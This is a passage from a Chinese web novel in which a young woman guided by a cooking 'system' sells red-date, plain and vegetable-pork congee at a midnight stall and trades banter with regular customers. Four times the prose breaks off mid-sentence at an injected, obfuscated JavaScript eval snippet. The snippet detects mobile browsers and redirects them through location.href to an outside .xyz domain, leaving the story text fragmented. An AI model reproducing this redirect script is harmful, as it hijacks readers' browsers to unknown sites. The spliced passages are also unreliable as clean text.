“四挂龙噢买个哦?”(丝瓜怎么卖的?) 小区对面总有这种菜摊,一个麻袋铺在地上,蔬菜就摆在上面,卖菜的老人要么蹲着要么坐在小板凳上,旁边是带准星的老式秤。 “嗯块翼梗。”(五块一根) 相对于普通话,老人们更加熟悉的还是乡音,见黎秋月能说昌南话,老人便没有转换语言。 “包起来。” 昌南市场上的丝瓜都是七八块一斤,老人这边的长丝瓜虽然长得有些歪瓜裂枣,但每根都超过一斤了,买下不亏。 “绿信到账10元~” 老人利落的用稻草将仅剩的两根丝瓜一捆,递到黎秋阳手上,就高兴的收了袋子回家。 黎秋月去取了快递才回家,手上的吃食一股脑的进了厨房。 “好久没吃过丝瓜炒油条了。” 话是这么说,但黎秋月拆了快递就不愿动了——她的新手机到了! 东金的二手货,七百多块钱,512的内存,还有三年保修期! 黎秋月一直在床上躺到下午五点多,才懒洋洋的进了厨房。 歪七扭八的丝瓜削皮切滚刀块,放到盐水里泡好防止变色,酥脆的老油条对半分开,然后切成自己喜欢的大小。 锅里下油,倒老油条进去炒到切口微焦后盛出,蒜籽放进锅里爆香再捞出,放丝瓜吵到断生,加调料淋水淀粉勾芡,再把油条倒进去翻炒出国。 咬一口咔嚓脆响,抿一下鲜香爽口,黎秋月吃的不亦乐乎,唯一的遗憾是配米饭有些不搭,应该要熬一锅粥吃着才舒服。 油条进了肚子,米饭实在是塞不下去,索性重新起锅烧油,煎了三个全熟的荷包蛋,然后把米饭倒进锅里一起翻炒,最后盛出来一大碗。 这不算正宗的蛋炒饭,吃起来也没什么味道,但黎秋月却挺喜欢。 吃饱喝足,黎秋月不想出门也不想重新长到床上,便在家四处游荡,然后发现除了她常去的几个地方,其它的地方都已经蒙了灰。 自己打扫是不可能的,懒得干活还在其次,关键是费命。 黎秋月检查了一遍边边角,庆幸自己没把钱一股脑的花出去,到网上找了个家政大平台,约了个钟点工过来大扫除。 家里以前偶尔也会请钟点工打扫,但原主一般只充当监督的工具人,联系方式都在父母那边,为了减少麻烦,黎秋月只能重新找人。 “还得约个收纳。” 衣服被子,还有不必要的生活用品全都要收纳好,昌南湿气和梅雨季一个不少,要是放着不管,先不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14043058|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定期定理的琐碎,光是发霉就足够让人崩溃。 霉菌吸多了也是会生病的! 黎秋月想到这一点就觉得毛骨悚然,非常果断的询问家政平台有没有收纳师——还真有! 履历很亮眼,技能很专业,还能选择性别,除了有一点点贵简直无懈可击——起步价是小目标的万分之一。 “我选择了两项业务,请问有团购价吗?” 就算接待员的声音再怎么温柔,该薅的羊毛还是丁点不能少的! “好的,我这边直接通过APP定时间就好……” 拿到一个刮了层血皮的优惠价,黎秋月心满意足的挂了电话,然后主动翻开菜谱,翻找下周的摆摊商品。 她现在有电三轮了,可以放开一点品类,比如选点热的,热的,和热的。 “煮粥吧。” 黎秋月想了半天,最后将手指向了白粥。 没什么特别的原因,单纯因为她冬天的时候喜欢喝粥,学了手艺回头给自己做比较方便。 “煮粥要用砂锅,珍珠米慢慢熬,粥米才能融为一体。” 这次的老师是个明艳的美人,教导的时候非常细心,从煮粥工具的选择到火焰的燃烧物,再到水米的比例和食材的挑选,都毫无保留的跟黎秋月说了个明白。 黎秋月以前觉得煮粥就是电饭煲加水米,然后按下去等着就行,现在才知道里面处处是学问,而且之前的菜品都是配料越多越难学,熬粥却是相反。 纯米粥是最难学,它是一切粥类的基础,因为没有其它原料的干扰,有一点不好都会格外显眼。 “你学好了熬米粥,以后什么菜粥肉粥八宝粥都不在话下。” 老师摸摸黎秋月的头,盛了小半碗微绿色的粥让黎秋月品尝。 这个老师很会钻系统的空子,以熬纯米粥的借口,让黎秋月尝到了许多不同的米,其中不乏少见的米种。 比如之前吃过的胭脂米,全名叫御田胭脂米,是清代的贡米,曾经一度绝种,现在最高能卖到4000一斤,还有价无市。 再比如刚喝的那碗绿粥,原料是碧梗米,虽然没有胭脂米那么昂贵,却也是红楼梦里出现过的品种。 不过就黎秋月来说,有些米的确很珍贵,味道也很好,但它们真的不适合熬粥! 【考核通过。】 伴随着四个大字出现,黎秋月离开了学习空间,但也不知道是不是她的错觉,她总觉得这次是被人踹出来的,还是踢屁股的那种。 应该是她感觉错了,总不可能是学习空间小气,心疼她喝的米粥吧。 黎秋月没把这件事情放在心上,转头又点了菜谱上的【红枣银耳粥】,又回到了学习空间。 这次她要当个流动粥贩,换粥不换地的那种! “真的吗?” 老师笑眯眯的看着黎秋月,黎秋月挠挠头,有些不好意思的说了实话。 “我有几款粥都喜欢,想趁着摆摊的时候学了,不然后面人就懒了。” 黎秋月,一个很有自知之明的女子。 这次的黎秋月只喝了最后的红枣银耳粥,出来的时候也没有被踹的感觉。 所以当时果然是她的错觉吧。 25. 红枣银耳粥 “系统,抽取摆摊时间和地点。” 【正在抽取……】 【任务四:请宿主在下周每个工作日的午夜零点,在财富大厦门口的第三棵树下售卖粥品。】 “十二点?!” 黎秋月看着时间瞪圆了眼睛,她都做好早起的准备了,结果系统不按常理出牌,直接让她强制性熬夜?! 肯定是今天系统没洗手,才抽到这个阴间上班时间。 周一。 黎秋月睡饱了才骑着小电驴去批发市场,先把最关键的红枣和银耳挑好,才转向最大比例的白米。 “五常大米?那玩意可贵嘞。” 米店老板惊奇的看着黎秋月,觉得这小姑娘八成也是看到抖抖上面的短视频,一时兴起跑过来的。 “我知道,家里有人要养身子,买十斤回去熬粥。” 黎秋月点点头表示自己没开玩笑,昨天她本来还想着来一款最高成本的米粥,但看着动辄上千过万的价格,她觉得五常大米就挺好。 “二十块钱一斤。” 老板看着瘦巴巴的黎秋月,叹了口气给了个低价。[1] “好。” 黎秋月扫了两百块钱过去,老板很快拿了米出来,黎秋月用手指捻了捻,又闻了闻,心里悄悄松了口气。 就是这个味儿! 买了最重要的五常米,黎秋月就溜达着回了家,把窗帘拉上强行让自己睡到晚上七点,才把砂锅安置到灶台上,又将30升的保温桶放上灶台,两个燃气灶同时点火。 砂锅是十斤容量的大砂锅,缺了个耳朵只能卖二十还得包邮,原主不乐意,现在被黎秋月翻了出来。 保温桶是不锈钢的,直接接触火焰没有问题,方便轻巧导热快,唯一的缺点是煮粥不香,即使有黎秋月厨艺上的加持也远比不上砂锅,用它主要是让摊子显得没那么磕碜。 一个卖粥的摊子出摊就十斤粥,也太可怜了点。 加米加水,大火煮开小火熬,米香慢慢飘了出来,只是砂锅里的味道明显要比保温桶的浓郁的多,而且越到后面就越明显,到出锅的时候,红枣和银耳的香味已经被压得似有若无。 “怪不得人们总说一分钱一分货。” 黎秋月一边闻着米香,一边气沉丹田将砂锅端到提前准备好的不锈钢盆里,准备回头连锅带盆一起端去摆摊。 她熬了两份粥,一份是砂锅里的五常米白粥,一份是保温桶的红枣银耳普通米粥。 两种粥各盛出半碗放凉,黎秋月开始核算成本,虽然不过只有卖的贵和卖的更贵,但她也叫不出什么上天价。 红枣银耳粥好算,一斤米十斤水,平摊下来一斤的成本大概是八毛,加上两毛钱的五百毫升杯子套装,一杯粥就是一块钱,外面一般卖3块钱,黎秋月打算卖5块。 砂锅粥也是类似的算法,但两者的米价相差十倍,加打包和自己的厨艺溢价,黎秋月咬着牙叫出了天价——20块一杯! 对不起,她错怪自己了,原来她真的有当黑心商人的潜质呜呜呜…… 黎秋月谴责了自己的贪婪,然后把两份凉的差不多的粥都拿了过来,准备尝尝味道。 首先入口的是红枣银耳粥。 红枣晒干以后,味道就从清甜变得有些甜腻,但漫长的熬煮让皱巴巴的枣子重新变得光滑圆润,甜味也被粥水吸收许多,让米香变成了更为明显的枣香。 红枣从劲道的口感变得糯而润,银耳却补上了粥里缺失的嚼劲,炖煮好的银耳带着点细微的脆,却没有半点锋利,脆和软两种相反的口感同时出现,带着红枣的甜和粥水的稠一通在唇舌上攻城略地。 最后一口粥水咽下去,黎秋月终于回了神,她现在很想就静静的坐着回顾美味,但另一个碗提醒着她还有白粥要品尝。 艰难的挣扎了一分钟,黎秋月终于用清水漱了口,舀了勺白粥进嘴。 !!! 软糯的粥水里只有纯粹的米香,本应该显得有些单调,却瞬间冲掉黎秋月对红枣银耳粥的残存回忆,满脑子只剩下这一口砂锅粥。 舌尖抿过米粒,细微的甜味便在味蕾上起舞,这甜并不跟红枣粥一般借助外物,而是来自淀粉与酶的狂欢,就像是泼墨山水中美人的碧玉簪,小小一点难被注意,但一旦瞧见就成了最显眼的存在。 轻着火,慢动勺,水米一体方圆满。 老师的教导又在耳边响起,黎秋月咽下最后一口米粥,坚定了以后自家熬粥用砂锅的信念! …… “叩叩叩——” 熟悉的敲门声响起,黎秋月接过女孩自带的砂锅和保温桶,装满以后递过去。 “一共180。” 女孩匆匆进了电梯,黎秋月低头给贺兰姐发消息。 【十五的月亮:价钱定下来了,红枣银耳粥五块钱,装了20份;白粥20,装了4份,一份500ml,共计180。】 【吃喝玩乐:这么才这么点?】 【吃喝玩乐:[转账2000](备注:不用找了)】 【十五的月亮;我总共才熬了40斤,你就拿走了12斤,不少了。】 【吃喝玩乐:……】 【吃喝玩乐:行吧,下次给我多留点。】 是的,贺兰姐在知道这个星期的伙食是粥以后,就非常豪横的让人打飞的取餐,还是自带砂锅的那种。 黎秋月看过从昌南到贺兰姐那边的机票,最便宜的单程都能买下她所有的粥,更别说还要加上不菲的打车费和专人运输费了。 …… 给自己留了两杯砂锅粥,黎秋月穿着军大衣,戴着雷锋帽,开始了第一次电三轮摆摊! 原主的衣品很好,但黎秋月就没有衣品这玩意,相对于美丽,她更看重的是经济实惠,军大衣雷锋帽,大棉靴大手套虽然看着有点不流行,但暖和是真的暖和,非常适合现在的脆皮黎秋月。 当然便宜皮实也是一方面,从头到脚包严实了还不到二百,要洗的时候直接往洗衣机一丢! “走在乡间的小路上,牧童的老牛是我同乡……” 黎秋月哼着歌骑着三轮车,从一个繁华的地方到了另一个繁华的地方。 财富大厦离黎秋月的家有二十多公里,到底是个什么情况黎秋月也不太清楚,不过耳听为虚眼见为实,再怎么样也不可能十二点还有一堆人在里面当牛做马…… “我嘞个去!” 黎秋月睁大了眼睛,有些惊愕的看着灯火通明,摊位摆了一条街的财富大厦,有那么一瞬间,她耳边甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14049928|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至自动响起了一个声音—— 【你见过凌晨四点的昌南吗?】 这边的打工人不用睡觉?! 被震撼了一把的黎秋月默默把车停下了第三棵树下,这边跟热闹的摊位有些距离,她打开手机看了看时间:11:39。 还没到零点,黎秋月也没急着摆摊,只是将砂锅连盆放到煤气罐架子上,自己坐在椅子上打起了瞌睡,还琢磨着明天得带垫子和枕头,不然坐着屁股冷,趴着脑袋凉。 “叮叮咚咚叮咚叮咚……” 熟悉的闹钟声把黎秋月叫醒,她打了个哈欠坐起来,往不锈钢盆和砂锅的间隙里面倒了些热水,煤气开最小火给砂锅隔水保温。 然后把三轮车上的灯打开,大保温桶配着摆放整齐的打包杯,摊子一下就有模有样了。 如果忽略前面的纸的话。 牛夏柳拖着疲惫的脚步走出财富大厦,一边走一遍四处张望,想找点能暖胃的吃食,但面前除了烧烤就是油炸,偶尔几个奶茶摊也都是吃腻了的熟悉面孔。 要不还是回去吃泡面吧。 牛夏柳有气无力的想到,然后胃部下意识的翻腾起来。 不行,泡面吃太多了,得缓一段时间。 牛夏柳不抱希望的又扫了一圈周围,然后目光落在一个摊位上。 喝点粥应该可以? 牛夏柳走了过去。 “你好,有什么粥?” 黎秋月没想到这么快就有生意上门,赶紧支棱起来介绍。 “保温桶里的是银耳红枣粥,一杯五块钱;砂锅里的是白粥,一杯20。都是现做的。” 牛夏柳被这个价钱吓了一跳,混沌的脑子都清醒了。 “这么贵?” 她下意识的脱口而出,又看到保温桶上面大大的白纸: 【红枣银耳粥,5元。】 【砂锅白米粥,20元。】 好吧,摊主已经把价钱写上去了,是她没看就直接问的锅。、 不过这白粥怎么这么贵? “不能便宜点吗?人家都是卖三块的。” 牛夏柳下意识的想要还价,实在是早餐的三元粥实在深入人心。 “太晚啦,早上就是三块钱。” 黎秋月坚定的摇头,她都没要夜间上班的补贴呢。 “那我早上怎么没见过你?” 不是牛夏柳吹,她在这边上班也有一段时间了,从路边摊到街边店就没有她不熟悉的人脸,而黎秋月不在其中。 “因为早上我不来。” 黎秋月说的理直气壮,牛夏柳看着她无言以对。 “……给我来一杯银耳粥。” 牛夏柳还是下了单,然后看着摊主揭开保温桶盖,甜香飘出来的速度比黎秋月的勺子要快得多,牛夏柳的鼻子动了动,突然对粥有了期待。 保温桶的性能很不错,牛夏柳拿到杯子的时候还有些烫手,她赶紧从握住杯壁的姿势变成提着袋口,但手上的热意却好像顺着掌心钻了进去,整条胳膊都暖和了起来。 牛夏柳也不急着走,她靠在小三轮旁边单手托着杯底,小心的打开了杯盖,暖黄的灯光给食物套上一层滤镜,让牛夏柳发出一声低低的惊呼—— “好漂亮!” 26. 肉末咸菜 深红的枣,雪白的米,半透明的银耳,杯子里的粥水满满当当,随着牛夏柳的手轻轻颤动,让她想到以前看过的宣纸画。 牛夏柳的期待又悄悄高了一点。 避开银耳,躲过红枣,牛夏柳只舀了一勺纯粹的白粥进嘴巴,也就是一瞬间的功夫,她的眼睛就瞪圆了! 粥里带着红枣的甜味,却并不是补血的带着力气的甜,倒像是加了枣花蜜的口感,粥水厚而甜味轻,本应该有些矛盾,却像是着纱裙的大唐女子,无人能说不妥,只觉天生相配。 这味道哪是那些早餐粥能比的! 她占大便宜啦! 白粥下肚,银耳下肚,红枣下肚,一杯粥很快被喝完,牛夏柳却只觉得意犹未尽,有些纠结的站在黎秋月摊位前,思考要不要再来一杯粥,眼神却情不自禁的飘到了另外几个字上。 “这个砂锅粥,和我刚刚喝的有什么区别吗?” 牛夏柳有时候真的恨死了自己的好奇心,虽然她赚的不少,但二十块买一碗白粥还是会让她觉得自己是个冤种,但可悲的是,即使她都这么想了,还是控制不住自己的购买冲动。 好吧,实在是银耳红枣粥的味道太好,五块钱的粥都这么好喝,让她非常想知道二十块钱的会是什么美味。 “银耳粥是用这个熬出来的。” 黎秋月拍拍大号的保温桶。 “白粥是用这个砂锅熬出来的。” 黎秋月指指自己的身边,牛夏柳往旁边走了几步,才发现有个砂锅在有水的不锈钢盆里放着,而不锈钢盆放在煤气架子上,最下方是小小的火苗。 “区别就是白粥用了五常米,成本高,味道也更好一些。” 黎秋月本来想扯一段高大上的说明,但她实在是太困了,脑子根本转不动,索性就直说了。 “……给我来一碗。” 牛夏柳沉默片刻,有些心痛的捂住手机。 要是黎秋月说的天花乱坠,牛夏柳会没什么购买欲望,但这么一通平铺直叙……被完美踩点的牛夏柳根本抵挡不住! “好的。” “绿信到账20元~” 黎秋月揭开砂锅盖,这次的动静可比开保温桶的时候大得多,牛夏柳几乎是瞬间就闻到了米香,顿时心中大定。 这粥的味道肯定不差! “嘶……” 砂锅的保温性极好,黎秋月又一直热着,牛夏柳错误的估计了白粥的温度,一口下去直接被烫到了舌头。 但就算是这样,牛夏柳也舍不得把粥吐出来,她张大了嘴巴飞快呼吸,努力扩大面积让粥的温度下降,疯狂扭动舌尖并发出各种被烫到的音效…… 仅有的偶像包袱让她在做这一系列动作的时候转了个方向,所以除了黎秋月没人看到牛夏柳抽搐成各种表情包的脸。 “老板,这么烫为什么不说一声啊?” 牛夏柳将一整杯粥喝完,才泪汪汪的控诉。 “我说了,但你没听。” 其实黎秋月没说,但她打赌牛夏柳刚刚的全部心神都在嘴巴上,根本分不出注意力给她。 “骗人,你根本没说话!” 很好,赌输了。 “要再来一杯吗,可以给你打九折。” 黎秋月发出了购买链接,并使出打折转移话题,这次她成功了。 “我要买三杯,作为欺骗我的补偿,我都要打九折!” 好像也没完全成功。 总之,牛夏柳带着两杯银耳粥,一杯白粥高兴的走了,而黎秋月看着不远处喧嚣的小吃街,脑袋一点一点的再次打起了瞌睡。 “不对!” 黎秋月猛的把脑袋抬起来,摸出手机冲着一个名字发起了位置共享,然后在日程上做好记录,才恢复了懒洋洋的模样。 钟桐实在是太粘人了,关键是她真的很会利用自己的容貌优势,晕晕乎乎的就让黎秋月答应下次出摊的时候告诉她地点,甚至加了微信定时提醒,保证黎秋月不会转头就忘。 好在微信加人是一次性的事件,等到钟桐赶到摊子以后,黎秋月就能直接删好友。 钟桐那边也不知道在做什么,黎秋月的位置共享发出去五分钟,另一个小点的位置就发生了改变,黎秋月看着看着就打了个哈欠,思索提前走人这个打火机会不会爆炸。 生物钟被养好的她真的好困好困好困…… “一杯银耳红枣粥。” 大波浪的女子站在黎秋月面前下了单,脸上是浓妆也掩不住的疲惫,这么冷的天还穿着包臀裙,外套就是一件不怎么保暖的长风衣,黎秋月看着都觉得冷,也难为她还能在寒风中站的笔直。 “绿信到账五元~” 黎秋月把杯子递过去,大波浪把吸管一怼就喝了一大口,然后眼睛就亮了。 “再来五杯……加一杯白粥” 一杯热粥下肚,大波浪看上去明显放松了些,也没跟黎秋月多说话,加单到手扫码走人。 可能是天真的有些冷,黎秋月这边的生意不多,但时不时就会有一两个客人,而且一直进行着“尝试——美味——加单”的循环。 一个客人少则带走两三杯,多则五六杯,最多的甚至带走了十多杯,黎秋月看着她拎着一堆杯子的背影,心中唯有震撼。 等到钟桐过来的时候,摊子上的银耳粥只剩一份,白粥倒是还有五份,黎秋月正打着哈欠玩手机,希望能出现包圆的客人。 都快一点了,她想回家睡觉! “摊主,好久不见。” 钟桐跟黎秋月打了声招呼,然后迎来了茫然的眼神。 你哪位? 黎秋月是有些脸盲的,除非客人有很明显的特点,不然她根本记不住谁是谁。 钟桐小白花的脸很有辨识度,但今天的她化了妆,在黎秋月眼中成了一朵栀子花,漂亮但没见过。 “这个总认得吧。” 钟桐有些无奈的从口袋里掏出一只粉色的小猪玩具,将脑袋上的金属按键一摁,小猪的鼻子就喷出了火苗。 “想起来了!” 看到这熟悉的一幕,黎秋月毫不犹豫的点点头,钟桐还没来得及露出得意的笑,就看到黎秋月在手机上点点点,直接删除了自己的绿信。 “你在干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14061644|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?!” 钟桐自认为是个理智的性子,但黎秋月总能让她轻易的红温。 哪怕转个身再操作呢! “喝粥吗?” 黎秋月没回答钟桐的问题,熟练的使用了美食转移大法,钟桐在心里冷笑一声,决定这次不能轻易认输! “喝。” 钟桐觉得自己应该大人有大量,没必要跟讨生活的小商贩计较。 嗯,她就是这么好性子的人,跟保温桶飘出来的诱人甜香没有一点关系。 钟桐站着喝完了两碗粥,摸着鼓鼓的肚子来了个包圆,黎秋月飞快的打包跑路,钟桐钻进一直等着的四轮车,琢磨明天得把饭盒带过来。 用这种杯子装粥,还是少了点味道。 黎秋月顶着寒风回家,就着榨菜吃完了保温杯的白粥,然后直接洗漱上床,准时被生物钟叫醒。 出门采购! 粥的味道跟食材的品质关系很大,所以黎秋月这几天不是按照菜谱买菜,而是根据到手的食材决定卖什么粥。 今天的运气不错,买到了不少当天摘下来的打霜小青菜,还有一大块上好的瘦肉,做一桶咸粥绰绰有余。 “所以多出来的青菜和肉你打算怎么办?” 学习空间里的老师笑着问黎秋月,手上熬着一锅阳景米粥。 “炒个小青菜,再做个辣椒炒肉,最后煮个青菜鸡蛋肉片汤,还有剩的再说。” 黎秋月一边说,眼神一边就往米粥上飘了。 8400一斤的大米,黎秋月也能在学习空间里吃上,倒不是亏待自己的独生嘴,实在是它贵就算了,还有价无市! “就没想着做点复杂的菜?” 老师没好气的敲敲黎秋月的头,觉得这个学生实在没什么志气。 “懒。” 黎秋月话音刚落,脑袋又挨了一个毛栗子,刚想委屈的瘪嘴,一碗热粥就放到了她面前。 “喝。” 好吧,就原谅老师这一次。 黎秋月认真的享受美味,青菜肉粥刚合格就被移出了空间,只是这次又有种被踹了的感觉。 “肯定是没睡饱。” 黎秋月没在身上检查出任何痕迹,果断将其再次归为错觉,做完跟老师说的两菜一汤后发现时间还早,索性加了个咸菜炒肉用来下粥。 昨天晚上她喝白粥配的是涪陵榨菜,但拆开以后的味道……只能说,有些人家用榨菜代替盐不是没有道理的。 明明以前吃着还不错,但不知道为什么,这几年的味道好像越来越不行了。 这么好的粥,配这种小菜实在是有点糟蹋,还不如费点心自己做呢。 初步加工好的小菜切丁,小半个洋葱切碎,锅中倒油爆香葱姜蒜,再抓一把切碎的小米椒进去,等到焦黑的时候捞出来下肉末,肉末炒到变色把小菜和洋葱倒进去翻炒,等有粘锅迹象的时候倒水烧干就能出锅。 做一次能吃一个星期,基本没有技术含量,入口却是一绝。 “这才对嘛。” 吃了一口咸菜肉末,又喝了一口粥,黎秋月满足的眯起了眼睛。 27. 菜干饭 白天吃稀,晚上吃干,黎秋月觉得自己也是出息了。 晚上七点,黎秋月从床上爬起来进了厨房,琢磨要做些什么填肚子,昨天就喝了一碗粥出去,回来的时候饿的抓心挠肺,今天总不能栽到同一个坑里。 看看冷藏的上层,瞧瞧冰冻的下层,黎秋月最后还是拿起了猪肉,准备做个菜干饭吃。 早上的小青菜切碎,猪肉剁末,锅中倒油,去腥三件套葱姜蒜放下去再捞出,倒肉末下去翻炒成金黄色,再把小青菜放进去翻炒,加生抽和盐调味,提前清洗好的生米倒进去翻炒均匀,加水焖煮就好。 菜干饭的食材多样,包容性极强,每个人都能个根据自己的口味进行各种微调,比如里面用的肉本来应该是五花肉丁,但黎秋月不喜欢那种口感,便换成了肉末,还加了点白胡椒粉增鲜。 “好香啊。” 黎秋月揭开锅盖,小心的从锅边铲起一小点,满意的看到了一层薄薄的锅巴。 这可是菜干饭的灵魂! 焦香的锅巴,酥香的米饭,软香的肉末……黎秋月做的有点多,但她硬是将一碗饭都塞进了肚子,然后撑撑的在椅子上休息,还琢磨着下次可以用五常大米试试。 坐着刷了半个小时的手机,饱胀的感觉渐渐消下去一些,黎秋月便又进了厨房,开始起火熬粥,因为青菜和肉被她吃的有点多,本来放到保温桶里的青菜瘦肉粥,只能变成砂锅精制了。 【计划总是赶不上变化。】 本来黎秋月是打算砂锅熬银耳粥,保温桶熬青菜瘦肉粥的,结果……黎秋月只能庆幸自己想喝银耳羹多泡了些银耳,不然保温桶连甜粥都做不了,客人只能喝白米粥。 青菜肉粥比银耳粥少了一道泡发的步骤,但火候的把控却要更难一些,主要是叶子一不小心就黄了,肉一个没注意就老了,也就是黎秋月在学习空间没混日子,不然糟蹋米妥妥的。 粥熬好了,先把贺兰姐的十二斤放好,再把刘奶奶的六斤打包,黎秋月再给自己留一点,能卖的粥也就只有熬出来的一半多了。 不过黎秋月也不打算增加分量,工作日挣的钱够她日常吃用就行,累嘎了可就什么都没了。 骑着电三轮到了财富大厦,黎秋月瞧瞧时间:11:07。 跟她想的一样,路走熟了速度果然快了不少,明天可以再晚半个小时熬粥。 照旧把三轮车往那第三棵树下一停,黎秋月也不打灯,拿下放了垫子的凳子一坐,抱着靠枕往三轮车上一趴,又扯出一条围巾包住脸,只留下两个鼻孔透气,就呼呼的睡了过去,还琢磨着明天带个小太阳来。 11:55。 闹钟铃声把黎秋月叫醒,她睡眼惺忪的爬起来,慢吞吞的布置摊位,最后把抱枕收起灯点亮,粗看像模像样的摊子便支了起来,也终于让徘徊在小吃街上的人发现了目标。 “你躲得可真够远的。” 钟桐一边扫码一边吐槽,她十一点半就到了,硬是找不到黎秋月的摊子,还以为这个懒散的摊主不想出门,结果一转头就看到这边亮了灯。 “太吵了,受不了。” 其实是系统的摆摊地点就定在这里,但黎秋月显然不能用这个理由。 “摆摊就是要吃苦啊。” 钟桐试图给黎秋月洗脑,她有一个完整的计划——先让黎秋月尝到摆摊的苦,然后高价聘请为自己的私人厨师,然后就可以24小时随时享受美味。 “又不是挣不到钱,没苦硬吃干嘛。” 被社会毒打过的黎秋月很清醒,钟桐的计划还没开始就失败了,她摆弄着手上的猪猪侠打火机,悻悻的喝了一大口青菜瘦肉粥。 !!! 切碎的青菜保持着断生的口感,猪肉被切成了细长的肉丝,却并没有丁点发柴,反倒带着点动物身上特有的鲜,米粥吸收了菜香和肉香,不是令人烦躁的大杂烩,而是完美融合,令味道更上一层楼。 就像什么呢……钟桐想了半天,也只找到一个不是很适合的形容——就像是恍惚间看到的红袍绿裙的雪肤神女,明明是世俗眼中并不好看的色彩搭配,在她身上却显出极具冲击性的撞色之美。 “再来三……五份!” 钟桐把嘴里的粥咽下去,毫不犹豫的追加了订单,昨天的白粥虽然好喝,但果然肉粥才是她真正的解语花。 她就说自己辛辛苦苦爬上食物链的顶端,不是为了吃素的。 啊,肉门! 钟桐的表情越发虔诚了。 “三份还是五份?” 黎秋月控制着自己撒腿就跑的冲动,面无表情的问道,也不知道是不是她的错觉,她总觉得钟桐的表情变得越来越奇怪,甚至让她联想到了那个有名的“鱼眼中闪着诡异的光”。 “五份,都要砂锅粥。” 黎秋月飞快的打包,将这个突然变得很奇怪的客人送走,目送着钟桐的车消失在拐角,才重重的松了口气。 “小老板……” 黎秋月的气松到一半,就被一个幽幽的女声憋了回去,她猛的转头,对上一张同样被吓到了的脸,才跌坐在椅子上飞快喘气。 刚刚那声音真的……去客串鬼新娘都毫无违和感! 牛夏柳今天依旧是精神饱满的上班,被吸干精气的下班,走在路上的时候很有种活人微死的平静,直到看到黎秋月的摊子,才有了点张嘴的动力。 老板被吓到她一点都不奇怪,因为她听到自己的声音的时候也被吓到了,而更令她感到可悲的是,打工人的思维让她第一时间想到的是自己这个状态能去哪几个恐怖片场客串,然后才是自己应该道歉。 “啊对不起对不起……我不该那么说话的……” “没事,你要什么?” 看着牛夏柳涨红了脸慌张解释的模样,黎秋月反倒平静了下来,甚至有心情问这个客人要吃点什么。 主要是光听声音会觉得恐怖,但配着一张社畜脸以后,黎秋月只觉得该死的熟悉——她当年加班以后也是这幅半死不活的样! “来一碗银耳……砂锅粥换了品种?” 牛夏柳看着白纸上写着的“青菜瘦肉粥”的字样,来了兴趣。 “对,加菜加肉不加价。” 青菜不值多少钱,猪肉跟五常大米的价钱差不多,别看青菜瘦肉粥比白米粥要丰富,其实成本算起来都没差多少,黎秋月索性就不改价钱了。 “老板仗义,给我来一杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074642|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 牛夏柳毫不犹豫的下了单,她就这么一张独生嘴,难得碰到个喜欢吃的,怎么能亏待了! “好。” 黎秋月把粥递过去,牛夏柳虽然被香味勾的不断咽口水,但有经验的她还是没有急着吃,而是乘着掀开盖子放凉的功夫细细打量着青菜瘦肉粥,然后发现了跟昨天喝的粥的共同点。 “老板,你这边的粥颜值都好高啊!” 红枣糯米粥是宣纸画。 白米粥是天山雪。 青菜瘦肉粥是人间景。 “这青菜都是绿的,不像其他店里卖的,叶子都发黄。” 牛夏柳一边惊叹一边喝粥,黎秋月这边的粥其实不算特别烫,但她有点猫舌,对温度要比寻常人敏感些。 “再给我来三杯!” 牛夏柳喝完一杯粥,只觉得自己耗光的精神气又回来了,连说话的声音都大了许多。 “好。” 黎秋月利落的打包,牛夏柳干脆的付款,拎着三个袋子欢快的往家走,还在心里安排好了喝粥的时间, 明天早上一杯,中午一杯,晚上一杯,一日三餐都能享受美味,牛夏柳都不敢想象自己会是个多么快乐的小女孩。 总觉得自己明天会连尸斑都淡了呢。 今天的砂锅粥卖的格外快,连高价都没挡住客人们购买的欲望,甜粥卖的略慢一点,但在离一点还差一刻钟的时候,黎秋月就只剩下三杯银耳粥了。 